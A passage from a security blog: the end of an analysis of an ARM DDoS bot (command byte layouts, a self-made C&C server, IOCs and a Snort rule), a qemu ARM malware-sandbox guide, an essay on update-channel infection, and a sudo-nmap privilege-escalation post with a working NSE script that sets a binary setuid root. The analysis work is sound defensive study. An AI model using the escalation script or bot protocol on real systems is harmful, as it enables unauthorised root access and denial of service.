<span style="font-family: "courier new" , "courier" , monospace;"> #byte 272: Victim [ Warning, must be written as @IP:port, </span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> # port is mandatory, but only IP is used.] then padding</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1424: \x04\x00\x00\x00 => attack type "4" is tcp http</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1428: 2 bytes TCP port written in ntohs() -> \x50\x00 for TCP 80</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1430: padding </span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1442: Number of threads launched for this attack</span><br />
<br />
The DDos is launched. We can note that the DDos send always 1024 bytes. If the request is not long enough, it's filled with Null bytes. The function launch as many thread as specified and loop as fast as possible in each thread sending the requests.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmDibB4-wEMWDauds26BIz-2lt4fP5m5vH7Qsx7KWRxFoLtA7Naa59erLIVhboomNznJjcStgOUX3Yo3-m7S2aZWAOAXYlxvPhttLkClYoL357rCJGpwJXPC2XA4_CgIAC6oBUyPPl0YY/s1600/http_flood.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="313" data-original-width="752" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmDibB4-wEMWDauds26BIz-2lt4fP5m5vH7Qsx7KWRxFoLtA7Naa59erLIVhboomNznJjcStgOUX3Yo3-m7S2aZWAOAXYlxvPhttLkClYoL357rCJGpwJXPC2XA4_CgIAC6oBUyPPl0YY/s1600/http_flood.png" /></a></div>
<br />
<br />
<h4>
3/4/3/ 103 code 3 : tcp attack </h4>
This code begin to check if binary has root right or not. If it has root rights,<br />
the attack_tcp_syn is launched:<br />
<span style="font-family: "courier new" , "courier" , monospace;"> #DOS CMD:103-3</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #padding</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 272: IP address of victim in ascii finished by null, then padding</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1424: \x03\x00\x00\x00 => attack type "3" is tcp</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1428: TCP port in ntohs</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1440: #of syn to be sent</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1444: size of data sent to victim</span><br />
<br />
If the binary doesn't have root rights, the attack_tcp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.<br />
<br />
<br />
<h4>
3/4/4/ 103 code 2 : UDP attack</h4>
This launch a flood attack on a choosen port with UDP protocol.<br />
Parameters are:<br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 0: DOS CMD: \x03\x00\x01\x00</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 4: padding</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 272: IP address of victim in ascii finished by null, then padding</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1424: \x02\x00\x00\x00 => attack type "2" is udp </span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1428: UDP port in ntohs</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1440: Number of threads</span><br />
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1444: size of data sent to victim</span><br />
<br />
If the binary has root rights, it can launch an attack called, you guess it, attack_udp_root() . Each packet contains the repetition of a random byte. For the record, I sent an attack with 0x20 bytes size:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFUCZ4-mo2EQH2wMTq36ah4ywA5LcECmYFy9TdfKe_hXLnnIFmWIn9WF-ojxixpBYcvsBTnW2vqZNzYLHfyLXosXI4xFnzwCx_IDj3J5QDqThv34ugZm0r-3bw67V0K7YbdgOpGrJSyIk/s1600/udp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="218" data-original-width="830" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFUCZ4-mo2EQH2wMTq36ah4ywA5LcECmYFy9TdfKe_hXLnnIFmWIn9WF-ojxixpBYcvsBTnW2vqZNzYLHfyLXosXI4xFnzwCx_IDj3J5QDqThv34ugZm0r-3bw67V0K7YbdgOpGrJSyIk/s1600/udp.png" /></a></div>
<br />
<br />
If the binary doesn't have root rights, the attack_udp_std() is launched, but it fails! The thread doesn't get the data sent from the C&C (bug in the client code?) and doesn't have any IP/port to connect to.<br />
<br />
<i>Fun fact: if you specify a data size too big, you can crash the client due to a buffer overflow.</i></div>
<div>
<br /></div>
<div>
<h4>
3/4/5/ 103 code 1 : TCP con attack</h4>
<div>
The last attack is the attack_tcp_con, and it's a connection attack.</div>
<div>
<br /></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 0: DOS CMD: \x03\x00\x01\x00</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 4: padding</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 272: IP address of victim in ascii finished by null, then padding</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1424: \x01\x00\x00\x00 => attack type "1" is tcp con attack</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1428: TCP port in ntohs</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> #byte 1440: Number of threads</span></div>
<div>
<br /></div>
<div>
The tool just connect to the IP:port and do nothing afterwards. It's maybe a kind of "slow" DDos Tool, where you eat up all connections pool from victim,which is unable to serve its legitimate clients.</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h3>
3/5/ "Big picture"</h3>
<div>
As an eagle view, we have:</div>
<div>
<br /></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">main()</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> launch 127.0.0.1:39999 server as watchdog</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> if uid==0:</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> register at startup</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> GetSysInfo, uname, IP, check for root rights</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> Decrypt victim's DNS name holding C&C real IP, and GetIp()</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> ConnectServer() connects to the real C&C</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">ConnectServer()</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> Each 5second</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> send cpu usage/bandwidth usage</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> Wait for commands</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> ExitSelf/KillSelf</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> Update/Exec command</span></div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;"> Launch/stop DDos</span></div>
<div>
<br /></div>
<div>
That's all!</div>
</div>
<div>
<br /></div>
<div>
<h4>
3/6/ Implementing a python server/client for Arm1</h4>
<div>
As I'm not a botmaster, I wrote a server for only one bot. This was enough for</div>
<div>
me to understand and monitor the host.</div>
<div>
Basically, I launch a recv() in a thread, and in another one I'm waiting commands</div>
<div>
with a raw_input(). You can see this in my github repo. Warning, I'm not a coder,</div>
<div>
this is the result of tries and fails. It's usable, but don't expect much.</div>
<div>
<br /></div>
<div>
For see it in action, you have to setup a web server containing a file ip1.txt:</div>
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #007020;">echo</span> <span style="background-color: #fff0f0;">'172.16.42.42:4444'</span> > ip1.txt
sudo python -m SimpleHTTPServer 80
</pre>
</div>
<div>
<br /></div>
<div>
launch server.py in the 172.16.42.42 host</div>
<div>
<br /></div>
<div>
launch Arm1 binary on 172.16.42.3 host and wait for connections.</div>
<div>
For dealing with the name, you can just add the line:</div>
<div>
<span style="font-family: "courier new" , "courier" , monospace;">172.16.42.42<span class="Apple-tab-span" style="white-space: pre;"> </span>bak.hnhxzz.com </span></div>
<div>
in the /etc/hosts of the machine where Arm1 is launched.<br />
<br />
The client is still under development. I'm searching for a C&C alive in order to connect and log all DDos requests. It would be a great insight into targets.<br />
<br />
<h2>
4/ IOC for this binary</h2>
Usually, IOC are cheap information, containing only hash and captured traffic from an infected host. This is cheap because attackers can really quickly change every of those indicators. After this work, we can make better ones, because we learn how the traffic is exchanged between C&C and bots. This is much harder for a botmaster to change its network protocol than a hash of a binary or the IP of a C&C.<br />
<br />
As we saw previously, the binary uses in a function eth0 or ens33, and in another one only eth0. Another time, it tries to use wget or curl, and another time, only wget. This leads to the conclusion that it's not the same person which write the binary, or that some parts were copy-pasted. If the network protocol is copy pasted from this bot to another one, it's a win for defenders.<br />
<br />
Victim register with '\x01\x00\x01\x00' followed by the $(uname -a) of an host in UTF-8.Then, it sends each 5 seconds data beginning with '\x02\x00\x01\x00\x00\x00\x00\x00'<br />
<br />
The best way to detect it is to log the REGISTER message. A snort/Suricata rule like this should do the job:<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">alert tcp any any -> any any (content:"|01 00 01 00 00 00 00 00|"; offset: 0; depth: 8; flow:from_client; msg: "wake malware register"; reference: "http://0x90909090.blogspot.com/"; sid:XXXXXX; rev:1)
</pre>
</div>
<br />
<br />
Server sends command<br />
\x04\x00\x01\x00 to stop Ddos<br />
\x03\x00\x01\x00 to start a Ddos<br />
\x05\x00\x01\x00 to kill, exec or update the bot. If command is 'exec' or 'update', extraction should be made in order to grab and analyze new binary. Juicy part is here.<br />
<br />
<h2>
5/ Conclusion</h2>
This tool can Ddos efficiently, thanks to a usual design of C&C. Bots connect to master and waits for commands.<br />
What is interesting here is this good way of covering tracks. If we have only the binary, we are unable to know where the C&C really is, we can only find the victim which hosts the real IP of the C&C. Plus the addition of remote command and remote update can be a powerfull way to hide a more complex operation: send largely a ddostool, and scan more precisely some of your hosts, then download and execute your real payload.<br />
What is more interesting here is that some part of this binary just doesn't work at all: if you are non root user, tcp and udp attack should work, but doesn't work at all.<br />
<br />
With the help of the IOC provided, we can try to follow this particuliar bot, or others bot based on the same code. If you meet one of this malware recently, you can ping me <a href="https://twitter.com/0xmitsurugi" target="_blank">@0xMitsurugi </a>on twitter, I'm searching for a working C&C to play with.<br />
<br />
<h3>
6/ Usual rant against antivirus</h3>
Well... This malware wasn't largely spread, it did not meet any success, and I guess that malware analyst have a lot of work to do and can't spent as time as I spent on this one.<br />
But, please:<br />
<<<<br />
<i>This Backdoor opens the following port(s) where it listens for remote commands:</i><br />
<i>127.0.0.1:39999</i><br />
>>><br />
You listen on <b>127.0.0.1</b> for *<b>remote</b>* commands?!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwB-f0FTgXj7vJijFQVIqlYt8efC779UCqu7-eghelDz0lx6WAlHYse23bp77DwN5xFLBEZ0SQLH75zuKcNkc3tjvWuR17cSiaTLahp22zJXJFI4WRB0rdQ3AlrM7LRWAgw4LaQsrprGg/s1600/FAILtrendmicro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="526" data-original-width="886" height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwB-f0FTgXj7vJijFQVIqlYt8efC779UCqu7-eghelDz0lx6WAlHYse23bp77DwN5xFLBEZ0SQLH75zuKcNkc3tjvWuR17cSiaTLahp22zJXJFI4WRB0rdQ3AlrM7LRWAgw4LaQsrprGg/s400/FAILtrendmicro.png" width="400" /></a></div>
<br /></div>
</div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-26629802032389424342017-07-12T16:59:00.000+02:002017-07-12T17:11:31.416+02:00qemu ARM VM for [crackme|malware] analysis<h2>
My setup for ARM analysis</h2>
Once in a while, I have to analyze linux binaries in ARM architecture (in CTF, or crackme or when I got an ARM malware). There is many way to do it:<br />
<br />
<ul>
<li>do static analysis only (good for crackme)</li>
<li>buy a raspberry pi (good for crackme)</li>
<li>buy an ARM machine somewhere in the cloud (well, never tried it, but why not)</li>
<li>use virtual machines </li>
</ul>
<br />
I choose personnaly virtual machine over other solutions because of dynamic analysis, snapshots, the availabilty of it and the free as in free beer \o/<br />
<br />
<h3>
1/ qemu ARM on x86_64</h3>
When you want to emulate an arch, you think at qemu. So, installing qemu is as simple as download and compile it, or apt-get it:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~<span style="color: #996633;">$ </span>dpkg -l | grep qemu-system-arm
ii qemu-system-arm 1:2.8+dfsg-5 amd64 QEMU full system emulation binaries <span style="color: #333333;">(</span>arm<span style="color: #333333;">)</span>
mitsurugi@dojo:~<span style="background-color: #ffaaaa; color: red;">$</span>
</pre>
</div>
<br />
and you're done.<br />
<br />
<h3>
2/ disk image</h3>
Next, you have to grab a linux distro. It's really faster to use a preinstalled image than installing from an iso. There is a lot of documentation which point to <a href="https://www.aurel32.net/info/debian_arm_qemu.php">https://www.aurel32.net/info/debian_arm_qemu.php</a> . This works, but I don't recommend it. The kernel and images are really old, and for my needs, gdb was too old. Use another image, decently recent. I recommend a raspbian image, really good for this usage.<br />
<br />
I have scripts to automatize the process of downloading and configuring disk image for qemu-system-arm.<br />
<br />
First, an a udev rule:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>cat 90-qemu.rules
<span style="color: #996633;">KERNEL</span><span style="color: #333333;">==</span><span style="background-color: #fff0f0;">"sda"</span>, SYMLINK+<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">"mmcblk0"</span>
<span style="color: #996633;">KERNEL</span><span style="color: #333333;">==</span><span style="background-color: #fff0f0;">"sda?"</span>, SYMLINK+<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">"mmcblk0p%n"</span>
<span style="color: #996633;">KERNEL</span><span style="color: #333333;">==</span><span style="background-color: #fff0f0;">"sda2"</span>, SYMLINK+<span style="color: #333333;">=</span><span style="background-color: #fff0f0;">"root"</span>
mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>
</pre>
</div>
<br />
And the script to get and create the disk image:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>cat get.sh
<span style="color: #888888;">#!/bin/bash</span>
<span style="color: #007020;">set</span> -x
<span style="color: #888888;">#wget http://xecdesign.com/downloads/linux-qemu/kernel-qemu</span>
wget http://downloads.raspberrypi.org/raspbian_latest
wget https://github.com/dhruvvyas90/qemu-rpi-kernel/blob/master/kernel-qemu-4.4.34-jessie?raw<span style="color: #333333;">=</span><span style="color: #007020;">true</span>
unzip raspbian_latest <span style="color: #333333;">&&</span> rm raspbian_latest
<span style="color: #996633;">loopdev</span><span style="color: #333333;">=</span><span style="background-color: #fff0f0;">`</span>sudo losetup -f<span style="background-color: #fff0f0;">`</span>
<span style="color: #996633;">img</span><span style="color: #333333;">=</span><span style="background-color: #fff0f0;">`</span><span style="color: #007020;">echo</span> *.img<span style="background-color: #fff0f0;">`</span>
<span style="color: #996633;">offset</span><span style="color: #333333;">=</span><span style="background-color: #fff0f0;">`</span>file <span style="color: #996633;">$img</span> | grep -oh <span style="background-color: #fff0f0;">'startsector [^,]*'</span> | tail -n 1 | cut -d<span style="background-color: #fff0f0;">' '</span> -f2<span style="background-color: #fff0f0;">`</span>
<span style="color: #996633;">offset</span><span style="color: #333333;">=</span><span style="color: #008800; font-weight: bold;">$((</span><span style="color: #996633;">$offset</span><span style="color: #333333;">*</span><span style="color: #6600ee; font-weight: bold;">512</span><span style="color: #008800; font-weight: bold;">))</span>
<span style="color: #996633;">mntdir</span><span style="color: #333333;">=</span>mnt
sudo mkdir -p <span style="color: #996633;">$mntdir</span>
sudo chown root:root <span style="color: #996633;">$mntdir</span>
sudo losetup --offset <span style="color: #996633;">$offset</span> <span style="color: #996633;">$loopdev</span> <span style="color: #996633;">$img</span>
sudo mount <span style="color: #996633;">$loopdev</span> <span style="color: #996633;">$mntdir</span>
sudo bash -c <span style="background-color: #fff0f0;">"echo > $mntdir/etc/ld.so.preload"</span>
sudo cp 90-qemu.rules <span style="color: #996633;">$mntdir</span>/etc/udev/rules.d
sudo umount <span style="color: #996633;">$mntdir</span>
sudo losetup -d <span style="color: #996633;">$loopdev</span>
qemu-img convert -O qcow2 -f raw <span style="color: #996633;">$img</span> raspbian.qcow2
rm <span style="color: #996633;">$img</span>
mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>
</pre>
</div>
<br />
Now you'll have a .qcow2 raspberry disk image and a linux kernel.<br />
(those two scripts are slightly modified from http://xecdesign.com/ website, down at this moment)<br />
<br />
<h3>
3/ network setup</h3>
For my needs, I don't want to be bridged, I want to be able to firewall or block network access for the VM.<br />
I don't want to use user-mode-nat, because firewalling can be too hard to put in place.<br />
The good setup is TUN-TAP mode.<br />
<br />
From the host, you have an interface tap0. The guest is connected to the host with this interface.<br />
You can do your setup as you like, masquerade the guest to give internet access, firewall it, give static or dynamic addresse. Do as you want. I did a really simple setup (every docs on the internet overcomplicate this tasks).<br />
<br />
First create your tap0 interface and give rights to your user, then configure it:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>cat config_ip.sh
<span style="color: #007020;">echo</span> <span style="background-color: #fff0f0;">"[+] Configuring interface"</span>
sudo tunctl -t tap0 -u mitsurugi
sudo ifconfig tap0 172.16.42.42/24
mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>
</pre>
</div>
<br />
In the VM, configure the IP to be 172.16.42.222 or any IP in 172.16.42.X range.<br />
<br />
This is really simple and powerfull because you can even configure a private IP address (if things are hardcoded in the binary you want to analyze) like<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>sudo ifconfig tap0 8.8.8.8
</pre>
</div>
<br />
and configure anything you need on the host side. I recommend dnsmasq which can act as a DHCP and DNS, with very little configuration. You can even lie to any DNS request you want, set up HTTP servers, ftp servers, mitm all the things \o/<br />
<br />
<h3>
4/ Command line to launch the image</h3>
The command line is:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 125%; margin: 0;">mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633;">$ </span>cat launch.sh
<span style="color: #888888;">#! /bin/bash</span>
qemu-system-arm -cpu arm1176 <span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\</span>
-m 256 <span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\</span>
-kernel kernel-qemu-4.4.34-jessie <span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\</span>
-M versatilepb <span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\</span>
-append <span style="background-color: #fff0f0;">"root=/dev/sda2 rootfstype=ext4 rw console=ttyAMA0"</span> <span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\</span>
-hda raspbian.qcow2 <span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\</span>
-net nic <span style="background-color: #fff0f0; color: #666666; font-weight: bold;">\</span>
-net tap,ifname<span style="color: #333333;">=</span>tap0,script<span style="color: #333333;">=</span>no,downscript<span style="color: #333333;">=</span>no <span style="color: #996633;">$1</span>
mitsurugi@dojo:~/chall/armv6_stretch<span style="background-color: #ffaaaa; color: red;">$</span>
</pre>
</div>
<br />
Nothing fancy, you can't use more than 256M of RAM, and the net is made through tap, without any script (because you just configured it by yourself).<br />
<br />
Be prepared for the first boot to configure a lot of things.<br />
<br />
At first, use the qemu serial console (CTRL-ALT-3 when you see the strawberry logo on black screen) and log in. Why the serial console? Because you won't have any keyboard problem. The raspbian is configured to use QWERTY US keyboard. The serial console use your keyboard layout. The default login/pass is pi/raspberry <a href="http://elinux.org/R-Pi_Troubleshooting#Passwords">http://elinux.org/R-Pi_Troubleshooting#Passwords</a> and you can use sudo to get root rights.<br />
<br />
<h3>
5/ First boot</h3>
Configure network, hostname, passwords, add a user, give root a password (eventually), d/l and configure all your analysis tools (gdbinit, scripts and so on), remove all the stuff you don't care about. And, reboot! Is everything OK? ssh works? Good!<br />
You can forgot the CTRL-ALT-3 serial line and use ssh from now on.<br />
<br />
Personnaly, I don't set up a default gw for the VM. This way, I'm almost sure than any malware I launch in it won't scan my internal network or the internet. This can be configured after on a case to case basis.<br />
<br />
I set up the hostname as "router". If ever a malware would scan the hostname, it won't be an obvious name like "VM1" or "sandbox" or "analysis".<br />
<br />
<h3>
6/ Snapshotting for the win</h3>
The really good part about qemu is the -snapshot switch. This switch is made for a one-time snapshot. Whith it, anything is written on disk. When you poweroff the VM, every change made is lost. That's really, really good if you want to launch a malware. Even if this malware gain persistance to disk, modify files, or even trash your hard disk, it doesn't matter. Launch binary, look, modify things, trash VM, relaunch it. Very convenient. Don't forget to track and log every action in a scratchpad on your host because you can lost all of your work.<br />
<br />
<!-- HTML generated using hilite.me --><div style="background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;"><pre style="margin: 0; line-height: 125%">mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #996633">$ </span>./launch.sh -snapshot
<span style="color: #333333">(</span><span style="color: #008800; font-weight: bold">do </span>your stuff... Then halt the VM<span style="color: #333333">)</span>
mitsurugi@dojo:~/chall/armv6_stretch<span style="color: #FF0000; background-color: #FFAAAA">$</span>
</pre></div>
<br />
The VM is in clean state. For me, that's the hugest win. No need to clean up tracks leaved by the malware, no need to reconfigure things. Reboot machine -> you're done. You can even hard stop it by closing the qemu windows.<br />
<br />
Qemu has another option, with persistent snapshot. The disk image is used as a "base" image, and another file is used as a snapshot. This way, you can stop and reboot, any changes are stored in the snapshot file. If you want to restore the clean, initial state, just trash the snapshot file and launch qemu with the base image (see qemu documentation). I never had to use it.<br />
<br />
<h3>
99/ Conclusion</h3>
This setup will allow you to launch and analyze any ARM binary in a relative security. I'm not aware of any qemu escape ARM to x86_64, and the network setup allows you to easily block requests to the outside world and simulate all the things.<br />
<br />Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com2tag:blogger.com,1999:blog-8227611414371590425.post-73457108039440914752017-06-29T14:55:00.000+02:002017-06-29T15:00:44.151+02:00Infection as automatic update<h3>
0/ Intro</h3>
Everybody is talking about Petya^WNotPetya^WGolde^WPetWr^WAPT2^Wwhatever, and security researcher are doing their best in order to understand all the gory details under this so-called ransomware (or wiper?). Let them continue to do this hard work (thanks guys/girls for you to exist and provide insights), I want to focus on a specific point: the Infection Vector.<br />
<br />
<h3>
1/ Infection Vector</h3>
At this time of writing, the <a href="https://www.malwaretech.com/2017/06/petya-ransomware-attack-whats-known.html" target="_blank">infection vector seems to come from M.E.Doc</a>. <a href="https://web.archive.org/web/20170627204128/http://www.me-doc.com.ua/?&lang=en">https://web.archive.org/web/20170627204128/http://www.me-doc.com.ua/?&lang=en</a> M.E.Doc is a company which seems related to tax payment and accounting. I didn't checked, but news said it's widespread, and the home page has a direct link to updates: <a href="https://web.archive.org/web/20170606134558/http://www.me-doc.com.ua/pages/obnovlenie.php">https://web.archive.org/web/20170606134558/http://www.me-doc.com.ua/pages/obnovlenie.php</a><br />
<br />
The alleged vector worked like this:<br />
<br />
<ul>
<li>M.E.Doc was hacked (or a part of it)</li>
<li>The automatic update feature was abused</li>
<li>All users of M.E.Doc software downloaded a malware instead of a legitimate update</li>
</ul>
<br />
This reminds the waterholing way to infects users, where you infect website visited by your victims. But waterholing is hard because you need to have some 0days to infect your victims.<br />
<br />
The infection vectors turns automatic updates to infection!<br />
<br />
<h3>
2/ The importance of this new vector</h3>
And that point is new. This is a nice and clean infection vector:<br />
<br />
<ul>
<li>You can target precisely your users if you want (think APT, espionage) or widespread (think ransomware, banking trojan), just choose your software to update!</li>
<li>No need to search for 0day! The role of update mechanism is to download, execute and install software</li>
<li>Bypass everything: Administrators have already authorized automatic updates, whitelisted sites, and give rights for updates. Yes, because every security guy/girl shoots "DO UPDATES! ALWAYS! MANDATORY! NOW!" (And yes, I'm the first one to say it).</li>
</ul>
<br />
I think that's the main information to learn from this attack.<b> A new vector is in town, how can we handle it to control its damage power. When your legitimate tools evolve into deadly weapon that bites you, how can you survive?</b><br />
<b><br /></b>
<br />
<h3>
3/ attack surface</h3>
I've booted my windows VM, and just let it run. I got some warning about the update of winSCP, openoffice and firefox (yep, I don't boot it often).<br />
I wonder how many program are updated through their own channels. We know that some update domains are still in plain HTTP, some other are not digitally signed, and do we know if updaters check the signatures, etc..<br />
<br />
Worst, I wonder how many legit programs are outdated, abandoned, and for whom DNS update domains are now for sale. Look for old software, search for domain, buy them, and you have an attack vector. You won't get many victims, but it can become really targeted if a company still use one of those abandoned software. Is there any domain containing "update" in this list today: <a href="https://www.expireddomains.net/backorder-expired-domains/" target="_blank">https://www.expireddomains.net/backorder-expired-domains/ </a> ?<br />
<br />
I'm not even speaking of all DNS related problems <a href="http://dinaburg.org/bitsquatting.html" target="_blank">bitsquatting</a> or just the forgotten payment for the domain, or DNS hijacking, etc..<br />
<br />
<h3>
z/ Outro</h3>
If the security researcher are right, you don't have to care for this malware. It was a one shot fire and it won't be triggered again.<br />
<br />
However, I think it's urgent to check all your software base, verify all of those download points, and verify the mechanism. Signatures and/or PGP base updates won't help because you have to take into account that all of the update infrastructure can be corrupted. So, in probability, the search for quick win pirates will search for non digitally signed updates, then for HTTP (in case of MITM), and only after weak updates websites.<br />
<br />
In other word, I'll prepare backups and recovery plans.Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-54135086621746653962017-04-14T11:02:00.003+02:002017-04-14T11:14:35.710+02:00Privilege escalation with a sudo nmap<h3>
1/ Intro</h3>
Do you miss the good old days where nmap got an --interactive option? This option was mostly used to gain root privileges in the case if nmap was suid or sudo-able. This option has been deprecated and removed from nmap:<br />
<a href="http://seclists.org/nmap-dev/2010/q1/1241">http://seclists.org/nmap-dev/2010/q1/1241</a>:<br />
<i>This option is rarely used and doesn't work</i><br />
<br />
This day was a bad day for pentester: no more priv esc with nmap :-(<br />
<br />
So an admin can give nmap to its users without any risks? I think not, and I'll explain why.<br />
<br />
<h3>
2/ Nmap scripting engine in action</h3>
nmap is a very powerful tool which can be extended through lua scripts. We will use this to gain root privileges:<br />
<ul>
<li>nmap can launch any nse scripts</li>
<li>nse scripts can call os.execute(" system commands ")</li>
</ul>
<div>
You can read <a href="https://nmap.org/man/fr/man-nse.html" target="_blank">docs on the nmap website</a>.<br />
<br /></div>
<div>
<h3>
3/ Sample nse script</h3>
</div>
<div>
I did a really simple script:</div>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">mitsurugi@dojo:~$ cat got_root.nse
-- The Head Section --
description = [[If nmap is suid or you have sudo nmap rights
this script suid a local binary called binsuid]]
author = "0xMitsurugi"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "safe"}
-- The Rule Section --
hostrule = function(host)
return host
end
-- The Action Section --
action = function(host)
os.execute("echo got_root ; id > /tmp/owned")
os.execute("[ -f binsuid ] && chown root.root binsuid")
os.execute("[ -f binsuid ] && chmod +s binsuid")
return "suid nmap priv escalation"
end
mitsurugi@dojo:~$</code></pre>
<div>
<br /></div>
<div>
We have a hostrule, which is basically always true if host is up. We will scan 127.0.0.1 so, the action will start.<br />
The action just chown and chmod a file called binsuid in the local folder.</div>
<div>
<br /></div>
<div>
<h3>
4/ full session</h3>
Let's imagine that a user can launch nmap through sudo without the need of a password.<br />
